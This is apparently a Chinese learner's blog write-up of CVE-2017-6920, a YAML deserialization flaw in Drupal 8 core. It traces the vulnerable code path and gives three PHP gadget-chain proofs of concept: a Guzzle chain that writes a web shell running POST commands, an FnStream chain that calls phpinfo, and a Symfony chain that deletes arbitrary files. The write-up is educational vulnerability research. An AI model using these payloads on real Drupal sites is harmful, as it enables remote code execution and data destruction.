1.背景介紹:php
CVE-2017-6920是Drupal Core的YAML解析器處理不當所致使的一個遠程代碼執行漏洞,影響8.x的Drupal Core。前端
Drupal介紹:
Drupal 是一個由Dries Buytaert創立的自由開源的內容管理系統,用PHP語言寫成。在業界Drupal常被視爲內容管理框架(CMF),而非通常意義上的內容管理系統(CMS)。
Drupal目錄:
/vendor – Drupal Core所依賴的後端庫
/profile – 貢獻和自定義配置文件
/libraries – 第三方庫
/core /lib – Drupal核心類
/core /assets – Core使用的各類外部庫
/core /misc – Drupal Core所依賴的前端代碼
/core /includes – 低級別爲模塊化的功能。好比模塊系統自己
/core /modules – Drupal核心模塊
/core /profiles – Drupal Core安裝配置文件
YAML 介紹:
YAML是「YAML不是一種標記語言」的外語縮寫,但爲了強調這種語言以數據作爲中心,而不是以置標語言爲重點,而用返璞詞從新命名。
它是一種直觀的可以被電腦識別的數據序列化格式,是一個可讀性高而且容易被人類閱讀,容易和腳本語言交互,用來表達資料序列的編程語言。
它是相似於標準通用標記語言的子集XML的數據描述語言,語法比XML簡單不少。
2.修復方法:docker
static $init; if (!isset($init)) { // We never want to unserialize !php/object. ini_set('yaml.decode_php', 0); $init = TRUE; }
由於經過設置Init_set(),將限制yaml的decode函數的功能,從而防止反序列化php的對象類型序列化數據shell
3.漏洞分析:編程
在yaml.php中存在如下decode函數的調用json
因此須要在yaml類所在的文件中找decode函數,此decode函數中調用了靜態方法getSerializer()函數windows
此方法說明此時應用會判斷用什麼類來解析yaml數據,若是存在yaml擴展,就調用yamlpecl來處理,不然就使用yamlsymfony類來處理,此時要尋找的漏洞點後端
須要知足調用了yaml類的decode函數而且傳給decode函數的入口參數必須是咱們能夠控制的,因此須要去找這樣的函數數組
在core/modules/config/src/Form/ConfigSingleImportForm.php中存在decode函數的調用安全
這裏調用了$form_stare的getValue()方法,這裏要求咱們必須熟悉drupal這個框架,知識儲備:
在處理表單時,有3個變量很是重要。
第一個就是$form_id,它包含了一個標識表單的字符串。
第二個就是$form,它是一個描述表單的結構化數組。
第三個就是$form_state,它包含了表單的相關信息,好比表單的值以及當表單處理完成時應該發生什麼。
drupal_get_form()在開始時,首先會初始化$form_state。
說明$form_state變量將會存儲咱們在表單中提交的值,那麼getValue是幹啥的,咱們繼續跟進一下,在FormStateInterface.php中聲明瞭getvalue函數的定義,具體的方法體在FormStateInterface.php中
此文件繼承了FormStateInterface接口,而且使用了FormStateValuesTrait,此時又須要瞭解須要學trait
Trait 是爲相似PHP 的單繼承語言而準備的一種代碼複用機制。Trait 爲了減小單繼承語言的限制,使開發人員可以自由地在不一樣層次結構內獨立的類中複用method。
在FormStateValuesTrait.php中實現了getvalue()函數的方法體,在getvalue()函數中,將會調用NestedArray的getvalue函數,將會把咱們以前"import"鍵所對應的值返回,即此時yaml::decode就接收到咱們傳遞過去的payload了
4.本地測試:
首先在其composer.json中尋找其加載了哪些代碼庫
1.存在guzzlehttp,所以能夠利用其進行任意寫文件,Guzzlehttp/guzzle代碼庫所存在的file_put_contents()
<?php require __DIR__.'/vendor/autoload.php'; use GuzzleHttp\Cookie\FileCookieJar; use GuzzleHttp\Cookie\SetCookie; $tr1ple = new FileCookieJar('/tmp/shell.txt'); $payload = '<?php echo system($_POST[\'cmd\']); ?>'; $data=array( 'Name' => "tr1ple", 'Value' => "Arybin", 'Domain' => $payload, 'Expires' => time() ); $tr1ple->setCookie(new SetCookie($data)); file_put_contents('./exp',addslashes(serialize($tr1ple)));
導出到文件由於直接寫出來會有不可見字符, 寫在tmp目錄是由於所使用的docker環境,寫入文件到www下權限不對,序列化後的數據必須對其中的引號進行轉義
結果:
注意:payload前面須要加上yaml的!php/object
tag(注意必定要轉義),而且由於$data字段有Expire鍵,所以payload過一段時間將會失效,因此再次利用時須要從新生成payload
Expires:
Cookie 過時的時間。這是個 Unix 時間戳,即從 Unix 紀元開始的秒數。 換而言之,一般用 time() 函數再加上秒數來設定 cookie 的失效期。
2.利用Guzzlehttp/psr中的FnStream
如上圖所示,在析構函數中,將會調用call_user_func()函數
call_user_func — 把第一個參數做爲回調函數調用 第一個參數 callback 是被調用的回調函數,其他參數是回調函數的參數。
而此時call_user_func()的入口參數只有一個,那麼咱們此時只能調用無參函數來測試,咱們看一下其構造方法,入口參數爲數組,而且將會遍歷數組,將數組的鍵名前添加「_fn_」前綴,由於咱們須要傳遞array("close"=>"phpinfo")做爲入口參數
-
poc以下:
<?php require __DIR__."/vendor/autoload.php"; use GuzzleHttp\Psr7\FnStream; $payload = array( "close" => "phpinfo" ); $tr1ple = new FnStream($payload); file_put_contents("exp1",addslashes(serialize($tr1ple)));
結果:
3.利用/vendor/symfony/process/Pipes/WindowsPipes.php中的unlink致使任意刪除
在其89行的析構函數中,存在removeFiles()函數,咱們跟進一下
在196行中咱們能夠看到這個函數將會遍歷$files變量,取出文件名,而後將文件刪除,而files變量是類的私有成員變量
poc爲:
這個poc並無用到use,由於咱們不須要導入windowspipes這個類,咱們只須要在實例化這個類後給其私有變量賦值便可,也就是不存在給其構造函數傳遞參數
<?php namespace Symfony\Component\Process\Pipes; class WindowsPipes{ private $files = array('/tmp/tr1ple.txt'); } $tr1ple = new WindowsPipes(); file_put_contents("exp3",addslashes(serialize($tr1ple)));
reference:
1.https://paper.seebug.org/334/
感想:
第一次嘗試着去針對CVE去熟悉一個cms框架,這種學習的方法的確讓人短期瞭解了不少我以前都不會的知識,從接受惡意輸入,到觸發漏洞函數整個流程,很是惋惜的一點是因爲測試使用的是docker上的環境,
我想使用斷點調試,可是調試docker裏面的php配置起來太麻煩了,而且網上的方法不適用與目前的環境,仍是本身對docker的使用不夠熟悉,折騰了半天仍是沒能搭建成調試環境。可是也體會到開發中經常使用的開發技巧,
以及想要挖掘漏洞,除了須要掌握安全知識,也須要掌握必定的開發知識。